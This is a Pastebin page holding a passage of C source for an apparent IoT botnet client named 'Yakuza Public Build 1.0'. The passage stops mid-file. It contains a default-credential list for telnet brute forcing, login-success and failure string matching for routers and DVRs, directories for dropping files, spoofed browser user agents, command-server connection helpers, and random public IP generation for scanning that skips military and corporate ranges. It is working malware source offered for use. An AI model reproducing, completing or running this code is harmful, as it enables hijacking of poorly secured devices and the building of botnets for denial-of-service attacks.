daily pastebin goal
19%
SHARE
TWEET

client

a guest Dec 13th, 2018 114 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Yakuza Public Build 1.0
  2.  
  3. // Made to be the best & most used public bot.
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <stdio.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>  
  10. #include <arpa/inet.h>
  11. #include <netdb.h>
  12. #include <signal.h>                                                      
  13. #include <strings.h>                                                      
  14. #include <sys/utsname.h>
  15. #include <unistd.h>
  16. #include <fcntl.h>
  17. #include <errno.h>
  18. #include <netinet/ip.h>
  19. #include <netinet/udp.h>
  20. #include <netinet/tcp.h>
  21. #include <sys/wait.h>
  22. #include <sys/ioctl.h>
  23. #include <net/if.h>
  24. #include <time.h>
  25. #include <dirent.h>
  26. #include <limits.h>
  27. #include <sys/stat.h>
  28. #include <sys/time.h>
  29. #include <string.h>
  30. #include <stdint.h>
  31. #include <stdio.h>
  32. #include <sys/param.h>
  33. #include <sys/time.h>
  34.  
  35. #define PHI 0x9e3779b9
  36. #define PR_SET_NAME 15
  37. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  38. #define PAD_RIGHT 1
  39. #define PAD_ZERO 2
  40. #define PRINT_BUF_LEN 12
  41. #define CMD_IAC   255
  42. #define CMD_WILL  251
  43. #define CMD_WONT  252
  44. #define CMD_DO    253
  45. #define CMD_DONT  254
  46. #define OPT_SGA   3
  47. #define SOCKBUF_SIZE 1024
  48. #define STD2_SIZE 69
  49. #define Version  "Yakuza Build 1.0"
  50.  
  51. //--------------------------------------------------------------------------------------------------------------------------------------
  52. //--------------------------------------------------------------------------------------------------------------------------------------
  53. //--------------------------------------------------------------------------------------------------------------------------------------
  54.  
  55.  
  56.  
  57.  
  58.  
  59. char *tel_usernames[] =
  60. {
  61.     "root\0",
  62.     "admin\0",
  63.     "user\0",
  64.     "login\0",
  65.     "guest\0",
  66.     "support\0"
  67. };
  68.    
  69. char *tel_passwords[] =
  70. {
  71.     "root\0",
  72.     "admin\0",
  73.     "user\0",
  74.     "login\0",
  75.     "guest\0",
  76.     "support\0"
  77. };
  78.  
  79. //--------------------------------------------------------------------------------------------------------------------------------------
  80. //--------------------------------------------------------------------------------------------------------------------------------------
  81. //--------------------------------------------------------------------------------------------------------------------------------------
  82.  
  83. char *tempdirs[] = {"/tmp/*", "/var/*", "/var/run/*", "/var/tmp/*", "/dev/netslink/*", "/dev/*", "/dev/shm/*", "/usr/*", "/opt/*",  (char*) 0};
  84. char *advances[] = {"mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", ":", "user", "ogin", "name", "pass", "dvrdvs", "nter", "User", "welcome",  (char*)0};                                                                                    
  85. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "ailure", "bye", "exit", (char*)0};                                                      
  86. char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", ">", "version", "v", "system", "command", "help", "BCM", (char*)0};                                                                                                    
  87. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  88.  
  89. struct telstate_t {
  90.         int fd;
  91.         unsigned int ip;
  92.         unsigned char state;
  93.         unsigned char complete;
  94.         unsigned char usernameInd;  /* username     */
  95.         unsigned char passwordInd;  /* password     */
  96.         unsigned char tempdirsInd;  /* tempdir      */
  97.         unsigned int tTimeout;      /* totalTimeout */
  98.         unsigned short bufUsed;
  99.         char *sockbuf;
  100. };
  101. int initConnection();
  102. void makeRandomStr(unsigned char *buf, int length);
  103. int sockprintf(int sock, char *formatStr, ...);
  104. char *inet_ntoa(struct in_addr in);
  105. int mainCommSock = 0, currentServer = -1;
  106. uint32_t *pids;
  107. uint32_t scanPid;
  108. uint64_t numpids = 0;
  109. struct in_addr ourIP;
  110. unsigned char macAddress[6] = {0};
  111.  
  112. char *getBuild() {
  113. #if defined(__x86_64__) || defined(_M_X64)
  114.     return "x86_64";
  115. #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86_)
  116.     return "x86_32";
  117. #elif defined(__ARM_ARCH_2__)
  118.     return "ARM2";
  119. #elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
  120.     return "ARM3";
  121. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  122.     return "ARM4T";
  123. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  124.     return "ARM5"
  125. #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)
  126.     return "ARM6T2";
  127. #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)
  128.     return "ARM6";
  129. #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
  130.     return "ARM7";
  131. #elif defined(__aarch64__)
  132.     return "ARM64";
  133. #elif defined(mips) || defined(__mips__) || defined(__mips)
  134.     return "MIPS";
  135. #elif defined(__sh__)
  136.     return "SUPERH";
  137. #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
  138.     return "POWERPC";
  139. #elif defined(__sparc__) || defined(__sparc)
  140.     return "SPARC";
  141. #elif defined(__m68k__)
  142.     return "M68K";
  143. #else
  144.     return "UNKNOWN";
  145. #endif
  146. }
  147. const char *uagents[] = {
  148.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
  149.     "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  150.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  151.     "TheSuBot/0.2 (www.thesubot.de)",
  152.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  153.     "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  154.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  155.     "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  156.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  157.     "zspider/0.9-dev http://feedback.redkolibri.com/",
  158.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  159.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  160.     "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  161.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  162.     "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  163.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194ABaiduspider+(+http://www.baidu.com/search/spider.htm)",
  164.     "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
  165.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  166.     "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
  167.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  168.     "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  169.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)",
  170.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  171.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  172.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  173.     "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  174.     "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  175.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  176.     "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  177.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  178.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  179.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  180.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; cn) Opera 11.00",
  181.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  182.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  183.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)",
  184.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",
  185.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)",
  186.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  187.     "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
  188.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  189.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0",
  190.     "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
  191.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",
  192.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  193.     "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  194.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  195.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  196.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01",
  197.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  198.     "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  199.     "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  200.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  201.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  202.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  203.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  204.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  205.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  206.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
  207. };
  208.            
  209. static uint32_t Q[4096], c = 362436;
  210. void init_rand(uint32_t x) {
  211.         int i;
  212.         Q[0] = x;
  213.         Q[1] = x + PHI;
  214.         Q[2] = x + PHI + PHI;
  215.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  216. }
  217. uint32_t rand_cmwc(void) {
  218.         uint64_t t, a = 18782LL;
  219.         static uint32_t i = 4095;
  220.         uint32_t x, r = 0xfffffffe;
  221.         i = (i + 1) & 4095;
  222.         t = a * Q[i] + c;
  223.         c = (uint32_t)(t >> 32);
  224.         x = t + c;
  225.         if (x < c) {
  226.                 x++;
  227.                 c++;
  228.         }
  229.         return (Q[i] = r - x);
  230. }
  231. int contains_string(char* buffer, char** strings) {
  232.         int num_strings = 0, i = 0;
  233.         for(num_strings = 0; strings[++num_strings] != 0; );
  234.         for(i = 0; i < num_strings; i++) {
  235.                 if(strcasestr(buffer, strings[i])) {
  236.                         return 1;
  237.                 }
  238.         }
  239.         return 0;
  240. }
  241. int contains_success(char* buffer) {
  242.         return contains_string(buffer, successes);
  243. }
  244. int contains_fail(char* buffer) {
  245.         return contains_string(buffer, fails);
  246. }
  247. int contains_response(char* buffer) {
  248.         return contains_success(buffer) || contains_fail(buffer);
  249. }
  250. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  251.         fd_set read_set;
  252.         struct timeval tv;
  253.         tv.tv_sec = 0;
  254.         tv.tv_usec = timeout_usec;
  255.         FD_ZERO(&read_set);
  256.         FD_SET(fd, &read_set);
  257.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  258.         return 0;
  259.         return recv(fd, buffer, buf_size, 0);
  260. }
  261. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  262.         int num_bytes, i;
  263.         memset(buffer, 0, buf_size);
  264.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  265.         if(buffer[0] == 0xFF) {
  266.                 negotiate(fd, buffer, 3);
  267.         }
  268.  
  269.         if(contains_string(buffer, strings)) {
  270.                 return 1;
  271.         }
  272.  
  273.         return 0;
  274. }
  275. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  276.         struct in_addr in_addr_ip;
  277.         in_addr_ip.s_addr = telstate->ip;
  278.         return inet_ntoa(in_addr_ip);
  279. }
  280. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  281.         if(new_state == 0) {
  282.                 close(telstate->fd);
  283.         }
  284.         telstate->tTimeout = 0;
  285.         telstate->state = new_state;
  286.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  287. }
  288. void reset_telstate(struct telstate_t* telstate) { // reset
  289.         advance_telstate(telstate, 0);
  290.         telstate->complete = 1;
  291. }
  292. void trim(char *str) {
  293.         int i;
  294.         int begin = 0;
  295.         int end = strlen(str) - 1;
  296.  
  297.         while (isspace(str[begin])) begin++;
  298.  
  299.         while ((end >= begin) && isspace(str[end])) end--;
  300.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  301.  
  302.         str[i - begin] = '\0';
  303. }
  304. static void printchar(unsigned char **str, int c) {
  305.         if (str) {
  306.                 **str = c;
  307.                 ++(*str);
  308.         }
  309.         else (void)write(1, &c, 1);
  310. }
  311. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  312.         register int pc = 0, padchar = ' ';
  313.         if (width > 0) {
  314.                 register int len = 0;
  315.                 register const unsigned char *ptr;
  316.                 for (ptr = string; *ptr; ++ptr) ++len;
  317.                 if (len >= width) width = 0;
  318.                 else width -= len;
  319.                 if (pad & PAD_ZERO) padchar = '0';
  320.         }
  321.         if (!(pad & PAD_RIGHT)) {
  322.                 for ( ; width > 0; --width) {
  323.                         printchar (out, padchar);
  324.                         ++pc;
  325.                 }
  326.         }
  327.         for ( ; *string ; ++string) {
  328.                 printchar (out, *string);
  329.                 ++pc;
  330.         }
  331.         for ( ; width > 0; --width) {
  332.                 printchar (out, padchar);
  333.                 ++pc;
  334.         }
  335.         return pc;
  336. }
  337. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  338.         unsigned char print_buf[PRINT_BUF_LEN];
  339.         register unsigned char *s;
  340.         register int t, neg = 0, pc = 0;
  341.         register unsigned int u = i;
  342.         if (i == 0) {
  343.                 print_buf[0] = '0';
  344.                 print_buf[1] = '\0';
  345.                 return prints (out, print_buf, width, pad);
  346.         }
  347.         if (sg && b == 10 && i < 0) {
  348.                 neg = 1;
  349.                 u = -i;
  350.         }
  351.  
  352.         s = print_buf + PRINT_BUF_LEN-1;
  353.         *s = '\0';
  354.         while (u) {
  355.                 t = u % b;
  356.                 if( t >= 10 )
  357.                 t += letbase - '0' - 10;
  358.                 *--s = t + '0';
  359.                 u /= b;
  360.         }
  361.         if (neg) {
  362.                 if( width && (pad & PAD_ZERO) ) {
  363.                         printchar (out, '-');
  364.                         ++pc;
  365.                         --width;
  366.                 }
  367.                 else {
  368.                         *--s = '-';
  369.                 }
  370.         }
  371.  
  372.         return pc + prints (out, s, width, pad);
  373. }
  374. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  375.         register int width, pad;
  376.         register int pc = 0;
  377.         unsigned char scr[2];
  378.         for (; *format != 0; ++format) {
  379.                 if (*format == '%') {
  380.                         ++format;
  381.                         width = pad = 0;
  382.                         if (*format == '\0') break;
  383.                         if (*format == '%') goto out;
  384.                         if (*format == '-') {
  385.                                 ++format;
  386.                                 pad = PAD_RIGHT;
  387.                         }
  388.                         while (*format == '0') {
  389.                                 ++format;
  390.                                 pad |= PAD_ZERO;
  391.                         }
  392.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  393.                                 width *= 10;
  394.                                 width += *format - '0';
  395.                         }
  396.                         if( *format == 's' ) {
  397.                                 register char *s = (char *)va_arg( args, int );
  398.                                 pc += prints (out, s?s:"(null)", width, pad);
  399.                                 continue;
  400.                         }
  401.                         if( *format == 'd' ) {
  402.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  403.                                 continue;
  404.                         }
  405.                         if( *format == 'x' ) {
  406.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  407.                                 continue;
  408.                         }
  409.                         if( *format == 'X' ) {
  410.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  411.                                 continue;
  412.                         }
  413.                         if( *format == 'u' ) {
  414.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  415.                                 continue;
  416.                         }
  417.                         if( *format == 'c' ) {
  418.                                 scr[0] = (unsigned char)va_arg( args, int );
  419.                                 scr[1] = '\0';
  420.                                 pc += prints (out, scr, width, pad);
  421.                                 continue;
  422.                         }
  423.                 }
  424.                 else {
  425. out:
  426.                         printchar (out, *format);
  427.                         ++pc;
  428.                 }
  429.         }
  430.         if (out) **out = '\0';
  431.         va_end( args );
  432.         return pc;
  433. }
  434. int zprintf(const unsigned char *format, ...) {
  435.         va_list args;
  436.         va_start( args, format );
  437.         return print( 0, format, args );
  438. }
  439. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  440.         va_list args;
  441.         va_start( args, format );
  442.         return print( &out, format, args );
  443. }
  444. int sockprintf(int sock, char *formatStr, ...) {
  445.         unsigned char *textBuffer = malloc(2048);
  446.         memset(textBuffer, 0, 2048);
  447.         char *orig = textBuffer;
  448.         va_list args;
  449.         va_start(args, formatStr);
  450.         print(&textBuffer, formatStr, args);
  451.         va_end(args);
  452.         orig[strlen(orig)] = '\n';
  453.         zprintf("%s\n", orig);
  454.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  455.         free(orig);
  456.         return q;
  457. }
  458. int wildString(const unsigned char* pattern, const unsigned char* string) {
  459.         switch(*pattern) {
  460.         case '\0': return *string;
  461.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  462.         case '?': return !(*string && !wildString(pattern+1, string+1));
  463.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  464.         }
  465. }
  466. int getHost(unsigned char *toGet, struct in_addr *i) {
  467.         struct hostent *h;
  468.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  469.         return 0;
  470. }
  471. void makeRandomStr(unsigned char *buf, int length) {
  472.         int i = 0;
  473.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  474. }
  475. int recvLine(int socket, unsigned char *buf, int bufsize) {
  476.         memset(buf, 0, bufsize);
  477.         fd_set myset;
  478.         struct timeval tv;
  479.         tv.tv_sec = 30;
  480.         tv.tv_usec = 0;
  481.         FD_ZERO(&myset);
  482.         FD_SET(socket, &myset);
  483.         int selectRtn, retryCount;
  484.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  485.                 while(retryCount < 10) {
  486.                         tv.tv_sec = 30;
  487.                         tv.tv_usec = 0;
  488.                         FD_ZERO(&myset);
  489.                         FD_SET(socket, &myset);
  490.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  491.                                 retryCount++;
  492.                                 continue;
  493.                         }
  494.                         break;
  495.                 }
  496.         }
  497.         unsigned char tmpchr;
  498.         unsigned char *cp;
  499.         int count = 0;
  500.         cp = buf;
  501.         while(bufsize-- > 1) {
  502.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  503.                         *cp = 0x00;
  504.                         return -1;
  505.                 }
  506.                 *cp++ = tmpchr;
  507.                 if(tmpchr == '\n') break;
  508.                 count++;
  509.         }
  510.         *cp = 0x00;
  511.         return count;
  512. }
  513. int connectTimeout(int fd, char *host, int port, int timeout) {
  514.         struct sockaddr_in dest_addr;
  515.         fd_set myset;
  516.         struct timeval tv;
  517.         socklen_t lon;
  518.         int valopt;
  519.         long arg = fcntl(fd, F_GETFL, NULL);
  520.         arg |= O_NONBLOCK;
  521.         fcntl(fd, F_SETFL, arg);
  522.         dest_addr.sin_family = AF_INET;
  523.         dest_addr.sin_port = htons(port);
  524.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  525.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  526.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  527.         if (res < 0) {
  528.                 if (errno == EINPROGRESS) {
  529.                         tv.tv_sec = timeout;
  530.                         tv.tv_usec = 0;
  531.                         FD_ZERO(&myset);
  532.                         FD_SET(fd, &myset);
  533.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  534.                                 lon = sizeof(int);
  535.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  536.                                 if (valopt) return 0;
  537.                         }
  538.                         else return 0;
  539.                 }
  540.                 else return 0;
  541.         }
  542.         arg = fcntl(fd, F_GETFL, NULL);
  543.         arg &= (~O_NONBLOCK);
  544.         fcntl(fd, F_SETFL, arg);
  545.         return 1;
  546. }
  547. int listFork() {
  548.         uint32_t parent, *newpids, i;
  549.         parent = fork();
  550.         if (parent <= 0) return parent;
  551.         numpids++;
  552.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  553.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  554.         newpids[numpids - 1] = parent;
  555.         free(pids);
  556.         pids = newpids;
  557.         return parent;
  558. }
  559. int negotiate(int sock, unsigned char *buf, int len) {
  560.         unsigned char c;
  561.         switch (buf[1]) {
  562.         case CMD_IAC: return 0;
  563.         case CMD_WILL:
  564.         case CMD_WONT:
  565.         case CMD_DO:
  566.         case CMD_DONT:
  567.                 c = CMD_IAC;
  568.                 send(sock, &c, 1, MSG_NOSIGNAL);
  569.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  570.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  571.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  572.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  573.                 send(sock, &c, 1, MSG_NOSIGNAL);
  574.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  575.                 break;
  576.         default:
  577.                 break;
  578.         }
  579.  
  580.         return 0;
  581. }
  582. int matchPrompt(char *bufStr) {
  583.         char *prompts = ":>%$#\0";
  584.         int bufLen = strlen(bufStr);
  585.         int i, q = 0;
  586.         for(i = 0; i < strlen(prompts); i++) {
  587.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  588.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  589.         }
  590.         return 0;
  591. }
  592. in_addr_t getRandomPublicIP() {
  593.         static uint8_t ipState[4] = {0};
  594.         ipState[0] = rand() % 223;
  595.         ipState[1] = rand() % 255;
  596.         ipState[2] = rand() % 255;
  597.         ipState[3] = rand() % 255;
  598.         while(
  599.                 (ipState[0] == 0) ||
  600.                 (ipState[0] == 10) ||
  601.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  602.                 (ipState[0] == 127) ||
  603.                 (ipState[0] == 169 && ipState[1] == 254) ||
  604.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  605.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  606.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  607.                 (ipState[0] == 192 && ipState[1] == 168) ||
  608.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  609.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  610.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  611.                 (ipState[0] >= 224)
  612.         )
  613.         {
  614.                 ipState[0] = rand() % 223;
  615.                 ipState[1] = rand() % 255;
  616.                 ipState[2] = rand() % 255;
  617.                 ipState[3] = rand() % 255;
  618.         }
  619.         char ip[16] = {0};
  620.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  621.         return inet_addr(ip);
  622. }
  623.  
  624. in_addr_t TelnetIPRanges()
  625. {
  626.         static uint8_t ipState[4] = {0};
  627.         ipState[0] = rand() % 223;
  628.         ipState[1] = rand() % 255;
  629.         ipState[2] = rand() % 255;
  630.         ipState[3] = rand() % 255;
  631.         while(
  632.                 (ipState[0] == 127) ||                                         // 127.0.0.0/8      - Loopback
  633.                 (ipState[0] == 0) ||                                           // 0.0.0.0/8        - Invalid address space
  634.                 (ipState[0] == 3) ||                                           // 3.0.0.0/8        - General Electric Company
  635.                 (ipState[0] == 15 || ipState[0] == 16) ||                      // 15.0.0.0/7       - Hewlett-Packard Company
  636.                 (ipState[0] == 56) ||                                          // 56.0.0.0/8       - US Postal Service
  637.                 (ipState[0] == 10) ||                                          // 10.0.0.0/8       - Internal network
  638.                 (ipState[0] == 192 && ipState[1] == 168) ||                    // 192.168.0.0/16   - Internal network
  639.                 (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) ||  // 172.16.0.0/14    - Internal network
  640.                 (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10    - IANA NAT reserved
  641.                 (ipState[0] == 169 && ipState[1] > 254) ||                     // 169.254.0.0/16   - IANA NAT reserved
  642.                 (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) ||  // 198.18.0.0/15    - IANA Special use
  643.                 (ipState[0] == 224) ||                                         // 224.*.*.*+       - Multicast
  644.                 (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)
  645.         )
  646.         {
  647.                 ipState[0] = rand() % 223;
  648.                 ipState[1] = rand() % 255;
  649.                 ipState[2] = rand() % 255;
  650.                 ipState[3] = rand() % 255;
  651.         }
  652.         char ip[16] = {0};
  653.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  654.         return inet_addr(ip);
  655. }
  656.  
  657. in_addr_t getRandomIP(in_addr_t netmask) {
